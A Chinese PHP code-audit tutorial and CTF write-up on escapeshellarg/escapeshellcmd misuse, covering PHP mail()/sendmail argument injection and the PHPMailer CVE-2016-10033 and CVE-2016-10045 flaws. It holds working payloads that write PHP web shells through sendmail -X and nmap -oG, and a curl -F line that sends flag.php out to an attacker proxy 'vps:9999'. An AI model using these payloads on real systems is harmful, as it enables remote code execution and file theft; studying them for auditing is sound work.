2020-06-17
4.6k
PHP代码审计学习Day5——escapeshellarg与escapeshellcmd使用不当
0x01 postcart
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 class Mailer { private function sanitize ($email ) { if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { return '' ; } return escapeshellarg($email); } public function send ($data ) { if (!isset ($data['to' ])) { $data['to' ] = 'none@ripstech.com' ; } else { $data['to' ] = $this ->sanitize($data['to' ]); } if (!isset ($data['from' ])) { $data['from' ] = 'none@ripstech.com' ; } else { $data['from' ] = $this ->sanitize($data['from' ]); } if (!isset ($data['subject' ])) { $data['subject' ] = 'No Subject' ; } if (!isset ($data['message' ])) { $data['message' ] = '' ; } mail($data['to' ], $data['subject' ], $data['message' ], '' , "-f" . $data['from' ]); } } $mailer = new Mailer(); $mailer->send($_POST);
这道题其实是考察由 php 内置函数 mail 所引发的命令执行漏洞。我们先看看 php 自带的 mail 函数的用法:
mail ( string $to
, string $subject
, string $message
[, mixed $additional_headers
[, string $additional_parameters
]] ) : bool
to,指定邮件接收者,即接收人
subject,邮件的标题
message,邮件的正文内容
additional_headers,指定邮件发送时其他的额外头部,如发送者From,抄送CC,隐藏抄送BCC
additional_parameters,指定传递给发送程序sendmail的额外参数。
在Linux系统上,send
函数默认调用 Linux 的 sendmail 程序发送邮件。而在额外参数( additional_parameters )中, sendmail 主要支持的选项有以下三种:
漏洞一
写一个demo:
1 2 3 4 5 6 7 8 <?php $to = "Alice@example/com" ; $from = "Hello Alice" ; $message = "<?php phpinfo(); ?>" ; $headers = "CC: somebodyelse@example.com" ; $options = "-OQueueDirectory=/tmp -X /var/www/html/rce.php" ; mail($to, $subject, $message, $header, $options); ?>
上面这个样例中,我们使用 -X 参数指定日志文件,最终会在 /var/www/html/rce.php 中写入如下数据:运行之后会生成一个rce.php
的日志文件,查看其内容:
漏洞二
但是我们还可以在$to
这个字段注入命令,关于这个字段一共有三层过滤。
第一层:filter_var
1 filter_var($email, FILTER_VALIDATE_EMAIL)
P牛的一篇文章也提到了怎么绕过FILTER_VALIDATE_EMAIL
:https://www.leavesongs.com/PENETRATION/some-tricks-of-attacking-lnmp-web-application.html
这里就用几个demo演示一下方便理解:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $email1 = '12 3@test.com' ; echo $email1;var_dump(filter_var($email1, FILTER_VALIDATE_EMAIL))."\n" ; $email2 = '12\ 3@test.com' ; echo $email2;var_dump(filter_var($email2, FILTER_VALIDATE_EMAIL))."\n" ; $email3 = '"12\ 3"@test.com' ; echo $email3;var_dump(filter_var($email3, FILTER_VALIDATE_EMAIL))."\n" ; $email4 = '"123\"\'"@test.com' ; echo $email4;var_dump(filter_var($email4, FILTER_VALIDATE_EMAIL))."\n" ; $email5 = '\'."123"@test.com' ; echo $email5;var_dump(filter_var($email5, FILTER_VALIDATE_EMAIL))."\n" ; $email6 = '\"."123"@test.com' ; echo $email6;var_dump(filter_var($email6, FILTER_VALIDATE_EMAIL))."\n" ;
测试结果如下:
1 2 3 4 5 6 12 3@test.combool(false) 12\ 3@test.combool(false) "12\ 3"@test.comstring(16) ""12\ 3"@test.com" "123\"'"@test.comstring(17) ""123\"'"@test.com" '."123"@test.comstring(16) "'."123"@test.com" \"."123"@test.combool(false)
第二层:escapeshellarg
官方文档:
escapeshellarg —— 把字符串转码为可以在 shell 命令里使用的参数
功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(),system() 执行运算符(反引号)
demo1:
1 2 3 4 5 6 7 <?php $a = '123' ; $b=escapeshellarg($a); echo "old: " .$a."\n" ;echo "now: " .$b;?>
demo2:
1 2 3 4 5 6 7 <?php $a = "12'3" ; $b=escapeshellarg($a); echo "old: " .$a."\t\t" ;echo "now: " .$b;?>
第三层:escapeshellcmd
PHP的 mail() 函数在底层实现中,调用了 escapeshellcmd() 函数,官方文档:
escapeshellcmd() —— 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
反斜线(\)会在以下字符之前插入: *&#;`|*?~<>^()[]{}$*, \x0A 和 \xFF 。 ’ 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
demo1:
1 2 3 4 5 6 7 <?php $a = '12"3' ; $b=escapeshellcmd($a); echo "old: " .$a."\t\t" ;echo "now: " .$b;?>
demo2:
1 2 3 4 5 6 7 <?php $a = '12"3"' ; $b=escapeshellcmd($a); echo "old: " .$a."\t\t" ;echo "now: " .$b;?>
那我们前面说过了PHP的 mail() 函数在底层调用了 escapeshellcmd() 函数对用户输入的邮箱地址进行处理,即使我们使用带有特殊字符的payload,绕过 filter_var() 的检测,但还是会被 escapeshellcmd() 处理。然而 escapeshellcmd() 和 escapeshellarg 一起使用,会造成特殊字符逃逸,下面通过一个简单例子 理解一下:
1 2 3 4 5 6 7 8 9 10 <?php $param="127.0.0.1' -v -d a=1" ; $a=escapeshellarg($param); $b=escapeshellcmd($a); $cmd="curl " .$b; var_dump($a).'\n' ; var_dump($b).'\n' ; var_dump($cmd).'\n' ; system($cmd); ?>
详细分析一下这个过程:
传入的参数是
由于escapeshellarg
先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。所以处理之后的效果如下:
1 '127.0.0.1'\'' -v -d a=1'
接着 escapeshellcmd
函数对第二步处理后字符串中的 \
以及 a=1'
中的单引号进行转义处理,结果如下所示:
1 '127.0.0.1'\\'' -v -d a=1\'
由于第三步处理之后的payload中的 \\
被解释成了 \
而不再是转义字符,所以单引号配对连接之后将payload分割为三个部分,具体如下所示:
0x02 实例分析
这里实例分析选择 PHPMailer 命令执行漏洞 ( CVE-2016-10045 和 CVE-2016-10033 )。
CVE-2016-10033
又是P牛的文章:https://www.leavesongs.com/PENETRATION/PHPMailer-CVE-2016-10033.html
Seebug:https://paper.seebug.org/161/
环境搭建
Dockerfile:
1 2 3 4 5 FROM php:5.6 -apacheRUN apt-get update && apt-get install -y sendmail RUN echo 'sendmail_path = "/usr/sbin/sendmail -t -i"' > /usr/local /etc/php/php.ini
提前下载好源码,在源码根目录下添加测试文件 1.php:
1 2 3 4 5 6 7 8 9 10 11 12 <?php require ('PHPMailerAutoload.php' );$mail = new PHPMailer; $mail->setFrom($_GET['x' ], 'Vuln Server' ); $mail->Subject = 'subject' ; $mail->addAddress('c@d.com' , 'attacker' ); $mail->msgHTML('test' ); $mail->AltBody = 'Body' ; $mail->send(); ?>
shell:
1 2 docker build -t cve-2016-10033 . docker run --rm --name vuln-phpmail -p 8080:80 -v /home/ca01h/phpmail/deploy/PHPMailer-5.2.17:/var/www/html cve-2016-10033
漏洞原理
漏洞具体位置在 class.phpmailer.php 中:
1 2 3 4 5 6 7 8 9 10 11 12 private function mailPassthru ($to, $subject, $body, $header, $params ) { if (ini_get('safe_mode' ) or !$this ->UseSendmailOptions or is_null($params)) { $result = @mail($to, $subject, $body, $header); } else { $result = @mail($to, $subject, $body, $header, $params); } return $result; }
这里$param
作为mail
的第五个参数,该参数用于指定sendmail
的额外参数,其中sendmail
的-X
参数会将流量记录到文件中从而写文件实现 RCE,进一步跟跟进 $params 参数,看看它是怎么来的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 protected function mailSend ($header, $body ) { $toArr = array (); foreach ($this ->to as $toaddr) { $toArr[] = $this ->addrFormat($toaddr); } $to = implode(', ' , $toArr); $params = null ; if (!empty ($this ->Sender)) { $params = sprintf('-f%s' , $this ->Sender); } if ($this ->Sender != '' and !ini_get('safe_mode' )) { $old_from = ini_get('sendmail_from' ); ini_set('sendmail_from' , $this ->Sender); } $result = false ; if ($this ->SingleTo and count($toArr) > 1 ) { foreach ($toArr as $toAddr) { $result = $this ->mailPassthru($toAddr, $this ->Subject, $body, $header, $params); $this ->doCallback($result, array ($toAddr), $this ->cc, $this ->bcc, $this ->Subject, $body, $this ->From); } } else { $result = $this ->mailPassthru($to, $this ->Subject, $body, $header, $params); $this ->doCallback($result, $this ->to, $this ->cc, $this ->bcc, $this ->Subject, $body, $this ->From); } if (isset ($old_from)) { ini_set('sendmail_from' , $old_from); } if (!$result) { throw new phpmailerException($this ->lang('instantiate' ), self ::STOP_CRITICAL); } return true ; }
重点关注第12行,很明显 $params 是从 $this->Sender 传进来的,我们找一下 $this->Sender 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public function setFrom ($address, $name = '' , $auto = true ) { $address = trim($address); $name = trim(preg_replace('/[\r\n]+/' , '' , $name)); if (($pos = strrpos($address, '@' )) === false or (!$this ->has8bitChars(substr($address, ++$pos)) or !$this ->idnSupported()) and !$this ->validateAddress($address)) { $error_message = $this ->lang('invalid_address' ) . " (setFrom) $address " ; $this ->setError($error_message); $this ->edebug($error_message); if ($this ->exceptions) { throw new phpmailerException($error_message); } return false ; } $this ->From = $address; $this ->FromName = $name; if ($auto) { if (empty ($this ->Sender)) { $this ->Sender = $address; } } return true ; }
将 $address 经过某些处理之后赋值给 $this->Sender ,继续追踪validateAddress
函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 public static function validateAddress ($address, $patternselect = null ) { if (is_null($patternselect)) { $patternselect = self ::$validator; } if (is_callable($patternselect)) { return call_user_func($patternselect, $address); } if (strpos($address, "\n" ) !== false or strpos($address, "\r" ) !== false ) { return false ; } if (!$patternselect or $patternselect == 'auto' ) { if (defined('PCRE_VERSION' )) { if (version_compare(PCRE_VERSION, '8.0.3' ) >= 0 ) { $patternselect = 'pcre8' ; } else { $patternselect = 'pcre' ; } } elseif (function_exists('extension_loaded' ) and extension_loaded('pcre' )) { $patternselect = 'pcre' ; } else { if (version_compare(PHP_VERSION, '5.2.0' ) >= 0 ) { $patternselect = 'php' ; } else { $patternselect = 'noregex' ; } } } switch ($patternselect) { case 'pcre8' : ...... case 'pcre' : ...... case 'html5' : ...... case 'noregex' : return (strlen($address) >= 3 and strpos($address, '@' ) >= 1 and strpos($address, '@' ) != strlen($address) - 1 ); case 'php' : default : return (boolean )filter_var($address, FILTER_VALIDATE_EMAIL); } }
这个函数的大概流程就是:
默认patternselect==‘auto’,它会自动选择一个方式对email进行检测
如果php支持正则PCRE(也就是包含preg_replace
函数),就用正则的方式来检查,就是那一大串很难读懂的正则
如果php不支持PCRE,且PHP版本大于PHP5.2.0,就是用PHP自带的filter来检查email
如果php不支持PCRE,且PHP版本低于PHP5.2.0,就直接检查email中是否包含@
如果是第四种情况的话,这个时候该函数会使用noregex
的方式,即只需满足三个条件即可通过过滤:
这三个条件比较容易满足,也有复现环境和Poc:https://github.com/opsxcq/exploit-CVE-2016-10033
但是满足这个情况的主机现在已经很少了,正常情况下都是使用pcre8
的正则来进行过滤,所以如果要扩大攻击面需要对正则进行绕过,并且还得让 sendmail 成功执行。
有几种payload可以绕过那些看着头大的正则表达式:
正则表达式分析: https://www.leavesongs.com/PENETRATION/how-to-analyze-long-regex.html
1 "<?system($_GET['pew']);?>". -OQueueDirectory=/tmp/. -X./images/zwned.php @swehack.org
这里使用.%20
(点+空格)来作为分隔符,实际测试一下,已经写入了shell.php
访问:
1 http://127.0.0.1:8080/1.php?x=%22%3C?system($_GET[%27x%27]);?%3E%22.%20-OQueueDirectory=/tmp/.%20-X/var/www/html/shell.php%20@a.com
P牛的payload:
1 aaa( -X/home/www/success.php -OQueueDirectory=/tmp )@qq.com
CVE-2016-10045
Seebug文章:https://paper.seebug.org/164/
环境搭建
和上面的一样,就是把源代码换成5.2.20版本
漏洞原理
首先看补丁:
针对用户输入使用 escapeshellarg 函数进行处理。所以,在最新版本中使用之前的 payload 进行攻击会失败,例如:
1 a( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com
但是,却可以使用下面这个 payload 进行攻击:
1 a'( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com
实际上,可用于攻击的代码只是在之前的基础上多了一个单引号。之所以这次的攻击代码能够成功,是因为修复代码多了 escapeshellcmd 函数,结合上 mail() 函数底层调用的 escapeshellarg 函数,最终导致单引号逃逸。
1 2 3 4 5 6 7 <?php $payload = "a'( -OQueueDirectory=/tmp -X/var/www/html/shell.php )@qq.com" ; $earg = escapeshellarg($payload); var_dump($earg); $ecmd = escapeshellcmd($earg); var_dump($ecmd); ?>
我们的 payload 最终在执行时变成了'-fa'\\''\( -OQueueDirectory=/tmp -X/var/www/html/test.php \)@a.com\'
,分割后就是-fa\(
、-OQueueDirectory=/tmp
、-X/var/www/html/test.php
、)@a.com'
,最终的参数就是这样被注入的。
0x03 练习题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php highlight_file('index.php' ); function waf ($a ) { foreach ($a as $key => $value){ if (preg_match('/flag/i' ,$key)){ exit ('are you a hacker' ); } } } foreach (array ('_POST' , '_GET' , '_COOKIE' ) as $__R) { if ($$__R) { foreach ($$__R as $__k => $__v) { if (isset ($$__k) && $$__k == $__v) unset ($$__k); } } } if ($_POST) { waf($_POST);}if ($_GET) { waf($_GET); }if ($_COOKIE) { waf($_COOKIE);}if ($_POST) extract($_POST, EXTR_SKIP);if ($_GET) extract($_GET, EXTR_SKIP);if (isset ($_GET['flag' ])){ if ($_GET['flag' ] === $_GET['hongri' ]){ exit ('error' ); } if (md5($_GET['flag' ] ) == md5($_GET['hongri' ])){ $url = $_GET['url' ]; $urlInfo = parse_url($url); if (!("http" === strtolower($urlInfo["scheme" ]) || "https" ===strtolower($urlInfo["scheme" ]))){ die ( "scheme error!" ); } $url = escapeshellarg($url); $url = escapeshellcmd($url); system("curl " .$url); } } ?>
1 2 3 4 <?php $flag = "HRCTF{Are_y0u_maz1ng}" ; ?>
考点一
这里涉及到可变变量的概念
1 2 3 4 5 6 7 foreach (array ('_POST' , '_GET' , '_COOKIE' ) as $__R) { if ($$__R) { foreach ($$__R as $__k => $__v) { if (isset ($$__k) && $$__k == $__v) unset ($$__k); } } }
首先循环获取超全局变量_POST
、_GET
、_COOKIE
,并依次赋值给$__R
。再第二行判断$$__R
是否存在,如果存在的话,那么继续判断_POST
、_GET
、_COOKIE
中是否存在键值相等的,如果相等则删除变量。
假如我们通过GET提交flag=ca01h
,接着通过POST提交_GET[flag]=ca01h
。那么遍历$_POST
超全局数组的时候,$__key
就等于_GET[flag]
,$__v
就等于ca01h
,所以$$__key
等于$_GET[flag]
,即ca01h,此时$$__k==$__v
成立,变量$_GET[flag]
就被释放了。接着如果这些超全局变量存在的话,对它们的键名进行一个waf过滤,但是在 第21行 和 22行 有这样一串代码:
1 2 if ($_POST) extract($_POST, EXTR_SKIP);if ($_GET) extract($_GET, EXTR_SKIP);
extract
是变量覆盖常用的函数,作用是将对象内的键名变成一个变量名,而这个变量对应的值就是这个键名的值,EXTR_SKIP 参数表示如果前面存在此变量,不对前面的变量进行覆盖处理。由于我们前面通过 POST 请求提交 _GET[flag]=test
,所以这里会变成 $_GET[flag]=test
,这里的$_GET
变量就不需要再经过 waf 函数检测了,也就绕过了preg_match(‘/flag/i’,$key)
的限制。
考点二
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 if (isset ($_GET['flag' ])){ if ($_GET['flag' ] === $_GET['hongri' ]){ exit ('error' ); } if (md5($_GET['flag' ] ) == md5($_GET['hongri' ])){ $url = $_GET['url' ]; $urlInfo = parse_url($url); if (!("http" === strtolower($urlInfo["scheme" ]) || "https" ===strtolower($urlInfo["scheme" ]))){ die ( "scheme error!" ); } $url = escapeshellarg($url); $url = escapeshellcmd($url); system("curl " .$url); } }
第二行和第五行的两个if
语句用md5碰撞就可以绕过,接下来主要考察curl读取文件。
在 curl 中存在 -F 提交表单的方法,可以提交文件。 -F <key=value>
向服务器POST表单,例如: curl -F “web=@index.html;type=text/html” url.com
。提交文件之后,利用代理的方式进行监听,这样就可以截获到文件了,同时还不受最后的的影响。
这里的 第11行 和 第12行 增加了两个过滤,参照上面的知识点绕过。
所以这题最后的 payload :
1 /index.php?flag=QNKCDZO&hongri=s878926199a&url=http://baidu.com/' -F file=@/var/www/html/flag.php -x vps:9999
POST:
1 _GET[flag]=QNKCDZO&_GET[hongri]=s878926199a&_GET[url]=http://baidu.com/' -F file=@/var/www/html/flag.php -x vps:9999
0x04 附加练习题
题目地址:[BUU2018 Online Tool](https://buuoj.cn/challenges# [BUUCTF 2018]Online Tool)
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php if (isset ($_SERVER['HTTP_X_FORWARDED_FOR' ])) { $_SERVER['REMOTE_ADDR' ] = $_SERVER['HTTP_X_FORWARDED_FOR' ]; } if (!isset ($_GET['host' ])) { highlight_file(__FILE__ ); } else { $host = $_GET['host' ]; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin" . $_SERVER['REMOTE_ADDR' ]); echo 'you are in sandbox ' .$sandbox; @mkdir($sandbox); chdir($sandbox); echo system("nmap -T5 -sT -Pn --host-timeout 2 -F " .$host); }
最后一行代码是执行一个系统命令,而且有传参,肯定是利用这里了。这里常见的命令后注入操作如 | & &&
都不行,escapeshellcmd
会对这些特殊符号前面加上\
来转义。
那么就应该想想怎么利用nmap来做些什么。
nmap命令中 有一个参数-oG或者-oN可以实现将命令和结果写到文件
接下来考虑两个函数的效果,测试代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $host = "' <?php phpinfo;?> -oG shell.php '" ; $host = (string )$host; echo "host:" .$host;echo "</br>" ."\n" ;$arg = escapeshellarg($host); echo "arg:" .$arg;echo "</br>" ."\n" ;$cmd = escapeshellcmd($arg); echo "cmd:" .$cmd;echo "</br>" ."\n" ;echo system("nmap -T5 -sT -Pn --host-timeout 2 -F " .$host);?>
输出\:
1 2 3 host:' <?php phpinfo;?> -oG shell.php '</br> arg:''\'' <?php phpinfo;?> -oG shell.php '\'''</br> cmd:''\\'' \<\?php phpinfo\;\?\> -oG shell.php '\\'''</br>
escapeshellarg
会先对单引号转义,此时的结果应该是这样的:
1 \'-oG <?php phpinfo();?> -oG shell.php \'
然后对\
分割的每个部分加上单引号,并连接,结果如下:
1 ''\''-oG <?php phpinfo();?> -oG shell.php '\'''
之后,进行了escapeshellcmd
,会对上边提到的字符进行转义:
1 ''\\''\<\?php phpinfo\(\)\;\?\> -oG shell.php '\\'''
带入到命令行执行的结果就是:
1 \ <?php phpinfo();?> -oG shell.php \\
payload:
1 ?host=' <?php phpinfo();?> -oG shell.php '
读取flag:
1 ?host=' <?php echo `cat /flag`;?> -oG mmm.php '